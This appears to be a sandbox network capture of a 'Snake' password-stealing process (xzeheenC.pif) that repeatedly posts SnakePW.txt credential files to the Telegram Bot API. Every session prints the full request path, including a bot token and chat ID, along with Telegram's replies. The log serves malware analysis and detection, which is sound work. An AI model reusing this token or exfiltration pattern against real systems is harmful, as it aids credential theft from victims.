2024-12-18 15:17:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:17:59 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:17:59 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 37 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418869,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535079,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49926	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:00 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20a77e51f755 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:00 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 61 37 37 65 35 31 66 37 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20a77e51f755Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:01 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:01 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418873,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535081,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49928	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:00 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20c4261497b1 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:00 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 63 34 32 36 31 34 39 37 62 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20c4261497b1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:01 GMT Content-Type: application/json Content-Length: 517 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:01 UTC	517	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418875,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535081,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49929	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:01 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd216ef987af00 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:01 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 36 65 66 39 38 37 61 66 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd216ef987af00Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:01 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:01 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418876,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535081,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49934	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:02 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20be100b0715 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:02 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 62 65 31 30 30 62 30 37 31 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20be100b0715Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:03 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:03 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418880,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535083,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49936	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:02 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20d938fe0172 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:02 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 64 39 33 38 66 65 30 31 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20d938fe0172Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:03 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:03 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418882,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535083,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49937	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:03 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd218ddbcb8c7b Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:03 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 31 38 64 64 62 63 62 38 63 37 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd218ddbcb8c7bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:03 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:03 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418884,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535083,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49941	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:04 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd20d7324cb693 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:04 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 30 64 37 33 32 34 63 62 36 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd20d7324cb693Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:05 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:05 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 38 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 30 38 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418886,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535085,"documen

